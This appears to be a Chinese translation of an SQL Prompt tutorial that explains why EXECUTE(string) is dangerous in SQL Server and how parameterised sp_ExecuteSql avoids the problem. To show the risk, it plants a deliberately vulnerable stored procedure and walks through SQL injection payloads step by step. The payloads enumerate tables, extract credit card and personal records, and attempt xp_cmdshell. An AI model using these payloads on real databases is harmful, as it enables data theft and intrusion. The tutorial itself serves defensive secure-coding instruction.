彩票走势图

SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

翻译|使用教程|编辑:莫成敏|2020-01-21 14:08:16.620|阅读 256 次

概述:SQL Prompt的代码分析规则BP013将提醒您使用Execute(string)来执行字符串中的批处理,该字符串通常是根据用户输入动态组装的。这种技术很危险,因为参数值是在SQL Server解析该语句之前注入的,从而使攻击者可以“标记”额外的语句。请改用sp_ExecuteSql,并验证字符串输入。

# 慧都年终大促·界面/图表报表/文档/IDE等千款热门软控件火热促销中 >>

相关链接:

SQL Prompt根据数据库的对象名称、语法和代码片段自动进行检索,为用户提供合适的代码选择。自动脚本设置使代码简单易读--当开发者不大熟悉脚本时尤其有用。SQL Prompt安装即可使用,能大幅提高编码效率。此外,用户还可根据需要进行自定义,使之以预想的方式工作。

点击下载SQL Prompt正式版


有时不可避免地使用动态SQL,但是执行直接从包含在执行时更改的值的字符串直接创建的动态SQL是鲁莽的。它可以允许SQL注入并且效率也不高。

SQL Prompt的代码分析规则,BP013将提醒您使用Execute(),以字符串形式执行批处理,该批处理通常是根据用户输入动态组装的。使用此命令特别令人怀疑,因为它不允许您参数化值。

SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

即使您对可以提交的值有完全的控制和监督,并确定它们永远不会来自最终用户,还是最好使用sp_ExecuteSQL存储过程对输入进行参数设置。这不仅更安全,而且还可以帮助查询优化器认识到要执行的SQL批处理已参数化,因此适合可重用的计划。

无论是EXECUTE命令和sp_ExecuteSQL程序执行批处理,而不仅仅是查询。因此,即使您使用sp_ExecuteSQL,也很容易在存储过程中引入SQL注入的漏洞。如果您错误地将SQL与参数连接在一起,它将仍然允许恶意用户引入向该批处理添加额外语句的输入。

SQL注入漏洞

想象一下,AdventureWorks开发人员看到此SQL并认为“Aha”,我可以提供任何列表作为参数。

SELECT * FROM person.person WHERE lastname IN ( 'Goldberg', 'Erickson', 'Walters' );

很好,因此在存储过程中,他可以动态地汇编代码

DECLARE @MyList NVARCHAR(50) = '''Goldberg'',''Erickson'',''Walters''';
  EXECUTE ('SELECT * from person.person where lastname in (' + @MyList + ')');

因此,现在他可以提供任何人的姓氏列表并得到结果。但是,当代码审查员指出可怕的可能性时,现实很快就会出现:

DECLARE @MyList NVARCHAR(50)='''factor'') Select * from sales.creditcard --'
   EXECUTE ('SELECT * from person.person where lastname in ('+@myList+')')

当然,您可能会认为这有点学术性,因为SQL注入都是关于应用程序中非参数化查询的。好吧,不;引入漏洞的不仅仅是应用程序。应用程序可以正确地参数化对存储过程的调用,如果存储过程本身存在漏洞,则可以成功利用漏洞。通过演示更容易解释。

入侵AdventureWorks

假设AdventureWorks创建了一个新网站,而开发人员想要一个产品搜索屏幕,用户在其中输入搜索字词,并且所有相关产品都显示在列表中。是的,这似乎很合理。

向数据库新手的开发人员分配了任务。该网站以名为WebUser的用户名建立了连接池。团队非常谨慎,并确保WebUser无法访问网站上的任何敏感信息。它只能访问网站上专门处理WebUser请求的存储过程。这些存储过程在模块的当前所有者的上下文中运行,以访问少量基表中的数据的受限部分。这样做是为了允许诸如WebUser访问必需的数据而不能直接访问任何表。这有效地防止了来自应用程序的任何SQL注入访问接口中的过程或函数以外的任何东西。一些数据库设计人员更喜欢使用没有登录的用户来提供此服务。

到目前为止,一切都很好。

创建过程并要求数据库开发人员将其安装到数据库中之后,开发人员然后在应用程序中仔细地对存储过程的调用进行参数化,以确保应用程序不会进行任何SQL注入。

这是程序。当然,这些评论是我的。我不想让任何人认为这是一个好习惯。通过使用EXECUTE(),将撤消上述所有明智的预防措施。

/* we will now create a procedure that not only uses EXECUTE but also
  fails to check the contents of the string parameter passed to it*/
  IF Object_Id('dbo.SelectProductModel') IS NOT NULL
      DROP procedure dbo.SelectProductModel;
  GO
  CREATE PROCEDURE dbo.SelectProductModel @queryString VARCHAR(255)
  WITH EXECUTE AS OWNER --to execute as the login who created this procedure
  AS--health warning!!! This is a demonstration of how not to do it
  EXECUTE (
  'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience 
    FROM Production.vProductModelCatalogDescription
      WHERE ( name+summary  LIKE ''%'+ @queryString+'%'' )')
  GO--health warning!!! This is a demonstration of how not to do it

使用动态执行的代码有时有很好的理由,但是这些几乎总是涉及参数。在这种情况下,开发人员需要使用sp_ExecuteSql。最重要的是,应使用正确的约定将所有参数传递给它。在此示例中,没有必要使用动态SQL,但如果已经这样做,则应该这样做。

IF Object_Id('dbo.SelectProductModel2') IS NOT NULL
      DROP procedure dbo.SelectProductModel2;
  GO
  CREATE PROCEDURE dbo.SelectProductModel2 @queryString VARCHAR(255)
  WITH EXECUTE AS owner
  AS
  EXECUTE sp_ExecuteSQL 
  N'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience 
    FROM Production.vProductModelCatalogDescription
     WHERE (name+summary  LIKE ''%''+@search+''%'')',N'@search Varchar(20)',@search=@QueryString
  GO

您可以在以下示例中尝试此版本以证明它。我也会添加一些参数验证,因为我想在晚上睡个好觉。有一些客户希望搜索有关自行车的短语,但其中不包括“–”。

现在,为了说明这一点,我应该让您(读者)建立一个带有搜索表单和网格的网站,以显示结果。相反,我们将在SSMS中对此进行仿真,以便您可以尝试并尝试一下。

设置了恶意程序后,我们创建了无权执行任何操作的网站用户。然后,我们以该用户身份执行任务,并查看通过显着的数据泄露我们可以走多远。

IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser')
       DROP USER Webuser;
    -- We need to execute some of the following code with the restricted access rights of a
    -- typical web user that has only access rights to the stored procedure that accesses
    -- the table We then run part of the script as that user.
    CREATE USER WebUser WITHOUT LOGIN;
  /* we now assign it permission to call the stored procedure. It has no choice because
  this is being done in middleware on the web server. Every attempt to break into the database has to be done merely by changing the search term for Adventureworks bicycles.
  */
   GRANT EXECUTE ON OBJECT::dbo.SelectProductModel
      TO WebUser;  
   GRANT EXECUTE ON OBJECT::dbo.SelectProductModel2
      TO WebUser; 
  execute as user = 'WebUser'
  /* now we are working as WebUser. */

您必须想象我是一个外部入侵者,是通过网站而不是SSMS执行此操作的(如果我可以访问它,那么我已经出门在外了。)我必须将搜索词放入网络表单中并研究结果。我对此数据库一无所知。因为显示了错误,我得到了帮助,并且可以在网站结果网格中看到结果。即使没有错误,我也会受到轻微的抑制,因为从响应时间可以判断很多事情。

我的第一个目标是找出表的名称及其模式。如果我不了解他们,那么会经历很多尝试和错误,这可能需要很长时间和耐心。然后,我需要知道列和数据类型。如果我能找到一种方法来做所有的事情,那我就可以回家了。

我们开始吧。

Execute dbo.SelectProductModel 'light'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

这似乎行得通。让我们通过添加表达式来检查是否正确地将其参数化。我作为“WebUser”,想知道“始终正确”的技巧是否有效。我输入搜索词“轻”或1 = 1 –“

EXECUTE dbo.SelectProductModel 'light'' or 1=1 --'
    /* Msg 102, Level 15, State 1, Line 59 Incorrect syntax near '1'*/

服务器端错误肯定表明该漏洞存在。我需要添加一个括号吗?

EXECUTE dbo.SelectProductModel 'light'') or 1=1 --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

这列出了所有产品型号。 如果您使用该过程的第二个版本SelectProductModel2,该查询将不返回任何产品,因为它将搜索字符串'light')或1 = 1-,这根本不存在。

  /* Can I do the union all trick? */
  --I don't know the names of any tables so I'll use functions
  EXECUTE dbo.SelectProductModel 'ffff'') union all
   SELECT db_name(), @@Servername,User_Name(), ORIGINAL_LOGIN( ) , session_user,''''
    --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

 /* well that works and tells me that all columns are strings because I got no error 
   in the UNION. Within the stored procedure, I'm A DBO!!! */
  EXECUTE dbo.SelectProductModel 'ffff'') union all
   SELECT Object_schema_name(object_id), name, '''','''','''','''' from sys.tables
    --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

/* some interesting tables. I like that CreditCard table. This saves me a lot of time 
  Where are the credit cards? */ 
  EXECUTE dbo.SelectProductModel 'ffff'') union all
  SELECT Object_schema_name(t.object_id),t.name,c.name,'''','''','''' FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''creditcard''
   --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

/* this is taking candy from a baby. We know the columns and table now!
  List out the credit cards on the website grid and over to the dark side */ 
  EXECUTE dbo.SelectProductModel 'ffff'') union all
  Select CreditCardID,CardType,CardNumber,ExpMonth,ExpYear,ModifiedDate from Sales.Creditcard
   --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

/* Can I use xp_cmdshell? */
  EXECUTE dbo.SelectProductModel 'ffff'');
  Execute xp_cmdshell ''dir *.*''
   --' 
  /* No. maybe I can reconfigure  */
  EXECUTE dbo.SelectProductModel 'ffff'');
  execute sp_configure ''show advanced options'',1;reconfigure with override 
  --' 
  /*
  Msg 15247, Level 16, State 1, Procedure sp_configure, Line 105 [Batch Start Line 96]
  User does not have permission to perform this action.
  Msg 5812, Level 14, State 1, Line 100
  You do not have permission to run the RECONFIGURE statement*/
不要紧。我仍然可以通过网站获取有效载荷。现在我有了信用卡,我去找那个person.person表。某件事告诉我那里有个人数据。让我们研究一下该表中的内容。

EXECUTE dbo.SelectProductModel 'ffff'') union all
  SELECT Object_schema_name(t.object_id),t.name,c.name,is_nullable,max_length,system_type_id FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''person''
   --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

我认为,从这些数据来看,如果我将各列连接在一起,则可以一次性提取出来。

EXECUTE dbo.SelectProductModel 'ffff'') union all
  SELECT persontype,BusinessEntityID,Coalesce(Title+'' '','''')+FirstName+'' ''+Coalesce(MiddleName+'' '','''')+LastName+Coalesce('' ''+Suffix,''''),EmailPromotion,AdditionalContactInfo,Demographics FROM person.person
    --'
SQL语法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL脚本”)的风险

简而言之,AdventureWorks的所有个人详细信息和销售现在都在走向黑暗网络。当然,这很费力,因为我要通过网站上的POST获取有效负载,并且可能不得不重新组装来自位的数据,但是即使是很小的破坏也会造成破坏!

最后整理一下

SELECT USER_NAME();
  REVERT;
  SELECT USER_NAME();
  IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser')
      DROP USER WebUser;
  IF OBJECT_ID('dbo.SelectProductModel') IS NOT NULL
      DROP PROCEDURE dbo.SelectProductModel;

结论

将字符串作为SQL批处理执行的技术本质上没有错。但是,这是编程的安全领域。如果不参数化该字符串中的值,则可能很危险。有时,由于SQL语法的多变,您无法做到,而且也没有解决方法,在这种情况下,您需要采取所有必要的预防措施来验证输入。出于这个原因,不鼓励使用Execute(),因为它没有参数化其输入的方法,并且检查sp_ExecuteSQL的使用,以确保已采取所有适当的预防措施来防止SQL注入,所以是一个好主意。

本文内容到这里就结束了,感兴趣的朋友可以下载SQL Prompt免费体验~也可以关注我们网站了解更多产品资讯~

相关内容推荐:

SQL Prompt 使用教程>>>


想要购买SQL Prompt正版授权,或了解更多产品信息请点击




标签:

本站文章除注明转载外,均为本站原创或翻译。欢迎任何形式的转载,但请务必注明出处、不得修改原文相关链接,如果存在内容上的异议请邮件反馈至chenjj@cahobeh.cn

文章转载自:

为你推荐

  • 推荐视频
  • 推荐活动
  • 推荐产品
  • 推荐文章
  • 慧都慧问
扫码咨询


添加微信 立即咨询

电话咨询

客服热线
023-68661681

TOP